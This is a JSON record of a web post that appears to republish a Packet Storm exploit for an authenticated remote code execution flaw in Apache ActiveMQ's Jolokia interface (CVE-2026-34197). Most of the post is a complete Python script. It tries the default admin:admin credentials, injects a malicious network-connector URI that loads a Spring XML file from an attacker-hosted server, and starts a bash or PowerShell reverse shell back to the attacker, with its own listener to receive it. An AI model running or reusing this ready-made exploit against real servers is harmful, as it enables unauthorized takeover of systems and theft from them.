{"id":58923,"date":"2026-06-01T13:52:42","date_gmt":"2026-06-01T13:52:42","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=58923"},"modified":"2026-06-01T13:52:42","modified_gmt":"2026-06-01T13:52:42","slug":"apache-activemq-jolokia-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=58923","title":{"rendered":"\ud83d\udcc4 Apache ActiveMQ Jolokia Remote Code Execution_PACKETSTORM:222315"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-01T18:17:12&#8243;,&#8221;description&#8221;:&#8221;This is a proof of concept security research tool that evaluates a potential authenticated remote code execution pathway through the Jolokia management interface exposed by Apache ActiveMQ. The tool authenticates to the broker, discovers configuration&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-01T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Apache ActiveMQ Jolokia Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:222315&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-34197&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : Apache ActiveMQ Jolokia Management Interface \u2013 Authenticated Remote Code Execution Assessment Tool               |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/jolokia.org\/                                                                                             |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : a proof-of-concept security research tool that evaluates a potential authenticated remote code execution (RCE) pathway through the Jolokia management interface exposed by Apache ActiveMQ. \\n                     The tool authenticates to the broker, discovers configuration details, interacts with JMX operations exposed via Jolokia,\\n                     and attempts to determine whether management functionality can be abused to trigger execution of externally supplied configurations.\\n    \\t\\t\\t\\t \\n    [+] POC        : python 1.py -t 192.168.1.100 -p 8161 -u admin -P admin &#8211;lhost 192.168.1.50 &#8211;platform linux\\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import requests\\n    import json\\n    import sys\\n    import time\\n    import random\\n    import string\\n    import argparse\\n    import threading\\n    from http.server import HTTPServer, BaseHTTPRequestHandler\\n    from urllib.parse import urlparse, urljoin\\n    import os\\n    \\n    class ActiveMQExploit:\\n        def __init__(self, target_host, target_port=8161, username=&#8217;admin&#8217;, password=&#8217;admin&#8217;, \\n                     target_uri=&#8217;\/&#8217;, ssl=False, broker_name=None, lhost=None, lport=4444):\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Initialize the ActiveMQ exploit\\n            \\&#8221;\\&#8221;\\&#8221;\\n            self.target_host = target_host\\n            self.target_port = target_port\\n            self.username = username\\n            self.password = password\\n            self.target_uri = target_uri.rstrip(&#8216;\/&#8217;)\\n            self.ssl = ssl\\n            self.broker_name = broker_name\\n            self.lhost = lhost\\n            self.lport = lport\\n            self.http_server = None\\n            self.server_thread = None\\n            self.payload_executed = False\\n            protocol = &#8216;https&#8217; if ssl else &#8216;http&#8217;\\n            self.base_url = f\\&#8221;{protocol}:\/\/{target_host}:{target_port}{self.target_uri}\\&#8221;\\n            self.session = requests.Session()\\n            self.session.auth = (username, password)\\n            \\n        def random_string(self, length=8):\\n            \\&#8221;\\&#8221;\\&#8221;Generate random string\\&#8221;\\&#8221;\\&#8221;\\n            return &#8221;.join(random.choices(string.ascii_letters + string.digits, k=length))\\n        \\n        def detect_broker_name(self):\\n            \\&#8221;\\&#8221;\\&#8221;Auto-detect broker name if not provided\\&#8221;\\&#8221;\\&#8221;\\n            if self.broker_name:\\n                print(f\\&#8221;[*] Using provided broker name: {self.broker_name}\\&#8221;)\\n                return self.broker_name\\n                \\n            print(\\&#8221;[*] Attempting to detect broker name&#8230;\\&#8221;)\\n            jolokia_url = urljoin(self.base_url, &#8216;\/api\/jolokia\/read\/org.apache.activemq:type=Broker,brokerName=*&#8217;)\\n            \\n            try:\\n                response = self.session.get(jolokia_url, timeout=10)\\n                \\n                if response.status_code == 200:\\n                    data = response.json()\\n                    if data.get(&#8216;status&#8217;) == 200 and data.get(&#8216;value&#8217;):\\n                        for mbean in data[&#8216;value&#8217;].keys():\\n                            for part in mbean.split(&#8216;,&#8217;):\\n                                if part.startswith(&#8216;brokerName=&#8217;):\\n                                    name = part.split(&#8216;=&#8217;, 1)[1]\\n                                    print(f\\&#8221;[+] Detected broker name: {name}\\&#8221;)\\n                                    return name\\n                \\n                print(f\\&#8221;[-] Could not detect broker name, using default &#8216;localhost&#8217;\\&#8221;)\\n                return &#8216;localhost&#8217;\\n                \\n            except Exception as e:\\n                print(f\\&#8221;[-] Error detecting broker name: {e}\\&#8221;)\\n                return &#8216;localhost&#8217;\\n        \\n        def remove_network_connector(self, broker_name, connector_name=&#8217;NC&#8217;):\\n            \\&#8221;\\&#8221;\\&#8221;Remove existing network connector (cleanup)\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;[*] Attempting to remove existing connector: {connector_name}\\&#8221;)\\n            \\n            jolokia_url = urljoin(self.base_url, &#8216;\/api\/jolokia\/&#8217;)\\n            \\n            body = {\\n                &#8216;type&#8217;: &#8216;exec&#8217;,\\n                &#8216;mbean&#8217;: f\\&#8221;org.apache.activemq:type=Broker,brokerName={broker_name}\\&#8221;,\\n                &#8216;operation&#8217;: &#8216;removeNetworkConnector(java.lang.String)&#8217;,\\n                &#8216;arguments&#8217;: [connector_name]\\n            }\\n            \\n            try:\\n                response = self.session.post(\\n                    jolokia_url,\\n                    json=body,\\n                    headers={&#8216;Content-Type&#8217;: &#8216;application\/json&#8217;},\\n                    timeout=10\\n                )\\n                \\n                if response.status_code == 200:\\n                    print(f\\&#8221;[+] Successfully removed connector &#8216;{connector_name}&#8217;\\&#8221;)\\n                else:\\n                    print(f\\&#8221;[!] Connector &#8216;{connector_name}&#8217; not found or already removed\\&#8221;)\\n                    \\n            except Exception as e:\\n                print(f\\&#8221;[!] Error removing connector: {e}\\&#8221;)\\n        \\n        def check_authentication(self):\\n            \\&#8221;\\&#8221;\\&#8221;Check if authentication is working\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Checking authentication&#8230;\\&#8221;)\\n            \\n            jolokia_url = urljoin(self.base_url, &#8216;\/api\/jolokia\/&#8217;)\\n            \\n            try:\\n                response = self.session.get(jolokia_url, timeout=10)\\n                \\n                if response.status_code == 200:\\n                    data = response.json()\\n                    agent = data.get(&#8216;value&#8217;, {}).get(&#8216;agent&#8217;, &#8216;unknown&#8217;)\\n                    print(f\\&#8221;[+] Authentication successful! Jolokia agent version: {agent}\\&#8221;)\\n                    return True\\n                elif response.status_code == 401:\\n                    print(f\\&#8221;[-] Authentication failed! Invalid credentials: {self.username}:{self.password}\\&#8221;)\\n                    return False\\n                elif response.status_code == 403:\\n                    print(\\&#8221;[-] Jolokia access forbidden (403)\\&#8221;)\\n                    return False\\n                else:\\n                    print(f\\&#8221;[-] Unexpected HTTP status: {response.status_code}\\&#8221;)\\n                    return False\\n                    \\n            except Exception as e:\\n                print(f\\&#8221;[-] Connection error: {e}\\&#8221;)\\n                return False\\n        \\n        def generate_payload(self, platform):\\n            \\&#8221;\\&#8221;\\&#8221;Generate payload based on platform\\&#8221;\\&#8221;\\&#8221;\\n            if platform == &#8216;win&#8217;:\\n                payload = f\\&#8221;powershell -NoP -NonI -W Hidden -Exec Bypass -Command \\\\\\&#8221;$client = New-Object System.Net.Sockets.TCPClient(&#8216;{self.lhost}&#8217;,{self.lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2\\u003e\\u00261 | Out-String );$sendback2 = $sendback + &#8216;PS &#8216; + (pwd).Path + &#8216;\\u003e &#8216;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()\\\\\\&#8221;\\&#8221;\\n                shell = &#8216;cmd.exe&#8217;\\n                flag = &#8216;\/c&#8217;\\n            else:\\n                payload = f\\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/{self.lhost}\/{self.lport} 0\\u003e\\u00261\\&#8221;\\n                shell = &#8216;\/bin\/sh&#8217;\\n                flag = &#8216;-c&#8217;\\n            \\n            return shell, flag, payload\\n        \\n        def create_malicious_xml(self, platform):\\n            \\&#8221;\\&#8221;\\&#8221;Create malicious Spring XML payload\\&#8221;\\&#8221;\\&#8221;\\n            bean_id = self.random_string(8)\\n            shell, flag, command = self.generate_payload(platform)\\n            \\n            xml_template = f&#8221;&#8217;\\u003c?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;UTF-8\\&#8221;?\\u003e\\n    \\u003cbeans xmlns=\\&#8221;http:\/\/www.springframework.org\/schema\/beans\\&#8221;\\n           xmlns:xsi=\\&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance\\&#8221;\\n           xsi:schemaLocation=\\&#8221;http:\/\/www.springframework.org\/schema\/beans\\n           http:\/\/www.springframework.org\/schema\/beans\/spring-beans.xsd\\&#8221;\\u003e\\n      \\u003cbean id=\\&#8221;{bean_id}\\&#8221; class=\\&#8221;java.lang.ProcessBuilder\\&#8221; init-method=\\&#8221;start\\&#8221;\\u003e\\n        \\u003cconstructor-arg\\u003e\\n          \\u003clist\\u003e\\n            \\u003cvalue\\u003e{shell}\\u003c\/value\\u003e\\n            \\u003cvalue\\u003e{flag}\\u003c\/value\\u003e\\n            \\u003cvalue\\u003e\\u003c![CDATA[{command}]]\\u003e\\u003c\/value\\u003e\\n          \\u003c\/list\\u003e\\n        \\u003c\/constructor-arg\\u003e\\n      \\u003c\/bean\\u003e\\n    \\u003c\/beans\\u003e&#8221;&#8217;\\n            \\n            return xml_template\\n        \\n        def exploit(self, platform=&#8217;linux&#8217;, reverse_port=None):\\n            \\&#8221;\\&#8221;\\&#8221;Main exploit function\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*60)\\n            print(\\&#8221;Apache ActiveMQ RCE via Jolokia (CVE-2026-34197)\\&#8221;)\\n            print(\\&#8221;=\\&#8221;*60 + \\&#8221;\\\\n\\&#8221;)\\n            if not self.check_authentication():\\n                print(\\&#8221;[-] Authentication failed. Exiting&#8230;\\&#8221;)\\n                return False\\n            broker_name = self.detect_broker_name()\\n            self.remove_network_connector(broker_name)\\n            if not self.start_http_server(platform):\\n                print(\\&#8221;[-] Failed to start HTTP server\\&#8221;)\\n                return False\\n            connector_id = self.random_string(8)\\n            malicious_uri = f\\&#8221;static:(vm:\/\/{self.random_string(8)}?brokerConfig=xbean:http:\/\/{self.lhost}:{self.http_server_port}\/payload.xml)\\&#8221;\\n            \\n            print(f\\&#8221;[*] Malicious URI: {malicious_uri}\\&#8221;)\\n            jolokia_url = urljoin(self.base_url, &#8216;\/api\/jolokia\/&#8217;)\\n            \\n            exploit_body = {\\n                &#8216;type&#8217;: &#8216;exec&#8217;,\\n                &#8216;mbean&#8217;: f\\&#8221;org.apache.activemq:type=Broker,brokerName={broker_name}\\&#8221;,\\n                &#8216;operation&#8217;: &#8216;addNetworkConnector(java.lang.String)&#8217;,\\n                &#8216;arguments&#8217;: [malicious_uri]\\n            }\\n            \\n            print(f\\&#8221;[*] Sending exploit request to {self.target_host}:{self.target_port}\\&#8221;)\\n            \\n            try:\\n                response = self.session.post(\\n                    jolokia_url,\\n                    json=exploit_body,\\n                    headers={&#8216;Content-Type&#8217;: &#8216;application\/json&#8217;},\\n                    timeout=10\\n                )\\n                \\n                if response.status_code == 200:\\n                    data = response.json()\\n                    if data.get(&#8216;status&#8217;) == 200:\\n                        print(\\&#8221;[+] Exploit accepted by Jolokia!\\&#8221;)\\n                    else:\\n                        print(f\\&#8221;[!] Jolokia returned status {data.get(&#8216;status&#8217;)}: {data.get(&#8216;error&#8217;, &#8216;Unknown error&#8217;)}\\&#8221;)\\n                elif response.status_code == 401:\\n                    print(\\&#8221;[-] Authentication failed during exploit\\&#8221;)\\n                    return False\\n                else:\\n                    print(f\\&#8221;[*] Unexpected response: {response.status_code} (continuing anyway)\\&#8221;)\\n                    \\n            except requests.exceptions.Timeout:\\n                print(\\&#8221;[*] Request timed out &#8211; This is expected if the payload executed successfully\\&#8221;)\\n            except Exception as e:\\n                print(f\\&#8221;[!] Error sending exploit: {e}\\&#8221;)\\n            \\n            print(\\&#8221;\\\\n[*] Waiting for payload execution&#8230;\\&#8221;)\\n            print(f\\&#8221;[*] Make sure to listen on port {self.lport if reverse_port else self.http_server_port}\\&#8221;)\\n            print(\\&#8221;[*] Check your netcat listener for the reverse shell\\&#8221;)\\n            while not self.payload_executed:\\n                time.sleep(1)\\n            \\n            return True\\n        \\n        class ExploitHTTPHandler(BaseHTTPRequestHandler):\\n            \\&#8221;\\&#8221;\\&#8221;Custom HTTP handler to serve malicious XML\\&#8221;\\&#8221;\\&#8221;\\n            \\n            parent = None\\n            \\n            def log_message(self, format, *args):\\n                pass\\n            \\n            def do_GET(self):\\n                if self.path == &#8216;\/payload.xml&#8217;:\\n                    self.send_response(200)\\n                    self.send_header(&#8216;Content-Type&#8217;, &#8216;application\/xml&#8217;)\\n                    self.send_header(&#8216;Connection&#8217;, &#8216;close&#8217;)\\n                    self.end_headers()\\n                    self.wfile.write(self.server.xml_content.encode(&#8216;utf-8&#8217;))\\n                    print(\\&#8221;[+] Serving malicious Spring XML to target!\\&#8221;)\\n                    if self.server.parent:\\n                        self.server.parent.payload_executed = True\\n                else:\\n                    self.send_response(404)\\n                    self.end_headers()\\n            \\n            def do_POST(self):\\n                self.do_GET()\\n        \\n        def start_http_server(self, platform):\\n            \\&#8221;\\&#8221;\\&#8221;Start HTTP server to host malicious XML\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                self.http_server_port = 8080  \\n                self.xml_content = self.create_malicious_xml(platform)\\n                self.server = HTTPServer((&#8216;0.0.0.0&#8217;, self.http_server_port), self.ExploitHTTPHandler)\\n                self.server.xml_content = self.xml_content\\n                self.server.parent = self\\n                self.server_thread = threading.Thread(target=self.server.serve_forever)\\n                self.server_thread.daemon = True\\n                self.server_thread.start()\\n                \\n                print(f\\&#8221;[+] HTTP server started on port {self.http_server_port}\\&#8221;)\\n                print(f\\&#8221;[+] Hosting malicious XML at: http:\/\/{self.lhost}:{self.http_server_port}\/payload.xml\\&#8221;)\\n                return True\\n                \\n            except Exception as e:\\n                print(f\\&#8221;[-] Failed to start HTTP server: {e}\\&#8221;)\\n                return False\\n        \\n        def stop_http_server(self):\\n            \\&#8221;\\&#8221;\\&#8221;Stop the HTTP server\\&#8221;\\&#8221;\\&#8221;\\n            if hasattr(self, &#8216;server&#8217;):\\n                print(\\&#8221;[*] Stopping HTTP server&#8230;\\&#8221;)\\n                self.server.shutdown()\\n                self.server.server_close()\\n                self.server_thread.join()\\n    \\n    class NetcatListener:\\n        \\&#8221;\\&#8221;\\&#8221;Simple netcat listener for reverse shells\\&#8221;\\&#8221;\\&#8221;\\n        @staticmethod\\n        def start_listener(port):\\n            import socket\\n            import threading\\n            \\n            def handle_client(client_socket, address):\\n                print(f\\&#8221;[+] Connection from {address}\\&#8221;)\\n                while True:\\n                    try:\\n                        data = client_socket.recv(1024)\\n                        if not data:\\n                            break\\n                        print(data.decode(&#8216;utf-8&#8242;, errors=&#8217;ignore&#8217;), end=&#8221;)\\n                        cmd = input()\\n                        client_socket.send((cmd + &#8216;\\\\n&#8217;).encode())\\n                    except:\\n                        break\\n                client_socket.close()\\n            \\n            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n            server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n            server.bind((&#8216;0.0.0.0&#8242;, port))\\n            server.listen(5)\\n            print(f\\&#8221;[*] Listening for reverse shell on port {port}&#8230;\\&#8221;)\\n            \\n            while True:\\n                client, addr = server.accept()\\n                thread = threading.Thread(target=handle_client, args=(client, addr))\\n                thread.start()\\n    \\n    def main():\\n        parser = argparse.ArgumentParser(description=&#8217;Apache ActiveMQ RCE Exploit (CVE-2026-34197)&#8217;)\\n        parser.add_argument(&#8216;-t&#8217;, &#8216;&#8211;target&#8217;, required=True, help=&#8217;Target host (IP or domain)&#8217;)\\n        parser.add_argument(&#8216;-p&#8217;, &#8216;&#8211;port&#8217;, type=int, default=8161, help=&#8217;Target port (default: 8161)&#8217;)\\n        parser.add_argument(&#8216;-u&#8217;, &#8216;&#8211;username&#8217;, default=&#8217;admin&#8217;, help=&#8217;Jolokia username (default: admin)&#8217;)\\n        parser.add_argument(&#8216;-P&#8217;, &#8216;&#8211;password&#8217;, default=&#8217;admin&#8217;, help=&#8217;Jolokia password (default: admin)&#8217;)\\n        parser.add_argument(&#8216;&#8211;ssl&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Use HTTPS&#8217;)\\n        parser.add_argument(&#8216;&#8211;broker-name&#8217;, help=&#8217;Broker name (auto-detected if not provided)&#8217;)\\n        parser.add_argument(&#8216;&#8211;platform&#8217;, choices=[&#8216;linux&#8217;, &#8216;win&#8217;], default=&#8217;linux&#8217;, help=&#8217;Target platform (default: linux)&#8217;)\\n        parser.add_argument(&#8216;&#8211;lhost&#8217;, required=True, help=&#8217;Local host for reverse shell and HTTP server&#8217;)\\n        parser.add_argument(&#8216;&#8211;lport&#8217;, type=int, default=4444, help=&#8217;Local port for reverse shell (default: 4444)&#8217;)\\n        parser.add_argument(&#8216;&#8211;http-port&#8217;, type=int, default=8080, help=&#8217;HTTP server port (default: 8080)&#8217;)\\n        \\n        args = parser.parse_args()\\n        \\n        print(\\&#8221;\\&#8221;\\&#8221;\\n        \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n        \u2551    Apache ActiveMQ RCE Exploit (CVE-2026-34197)           \u2551\\n        \u2551            Python Port &#8211; by indoushka                     \u2551\\n        \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n        \\&#8221;\\&#8221;\\&#8221;)\\n    \\n        exploit = ActiveMQExploit(\\n            target_host=args.target,\\n            target_port=args.port,\\n            username=args.username,\\n            password=args.password,\\n            ssl=args.ssl,\\n            broker_name=args.broker_name,\\n            lhost=args.lhost,\\n            lport=args.lport\\n        )\\n        exploit.http_server_port = args.http_port\\n        listener_thread = threading.Thread(target=NetcatListener.start_listener, args=(args.lport,))\\n        listener_thread.daemon = True\\n        listener_thread.start()\\n        try:\\n            exploit.exploit(platform=args.platform)\\n            while True:\\n                time.sleep(1)\\n                \\n        except KeyboardInterrupt:\\n            print(\\&#8221;\\\\n[!] Interrupted by user\\&#8221;)\\n            exploit.stop_http_server()\\n            sys.exit(0)\\n    \\n    if __name__ == &#8216;__main__&#8217;:\\n        main()\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/222315&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/222315\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-01T18:17:12&#8243;,&#8221;description&#8221;:&#8221;This is a proof of concept security research tool that evaluates a potential authenticated remote code execution pathway through the Jolokia management interface exposed by&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-58923","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Apache ActiveMQ Jolokia Remote Code Execution_PACKETSTORM:222315 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=58923\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Apache ActiveMQ Jolokia Remote Code Execution_PACKETSTORM:222315 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-01T18:17:12&#8243;,&#8221;description&#8221;:&#8221;This is a proof of concept security research tool that evaluates a potential authenticated remote code execution pathway through the Jolokia management interface exposed by...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=58923\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-01T13:52:42+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58923#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58923\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Apache ActiveMQ Jolokia Remote Code Execution_PACKETSTORM:222315\",\"datePublished\":\"2026-06-01T13:52:42+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58923\"},\"wordCount\":2227,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=58923#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58923\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58923\",\"name\":\"\ud83d\udcc4 Apache ActiveMQ Jolokia Remote Code Execution_PACKETSTORM:222315 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-01T13:52:42+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58923#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=58923\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=58923#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Apache ActiveMQ Jolokia Remote Code Execution_PACKETSTORM:222315\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Apache ActiveMQ Jolokia Remote Code Execution_PACKETSTORM:222315 - zero 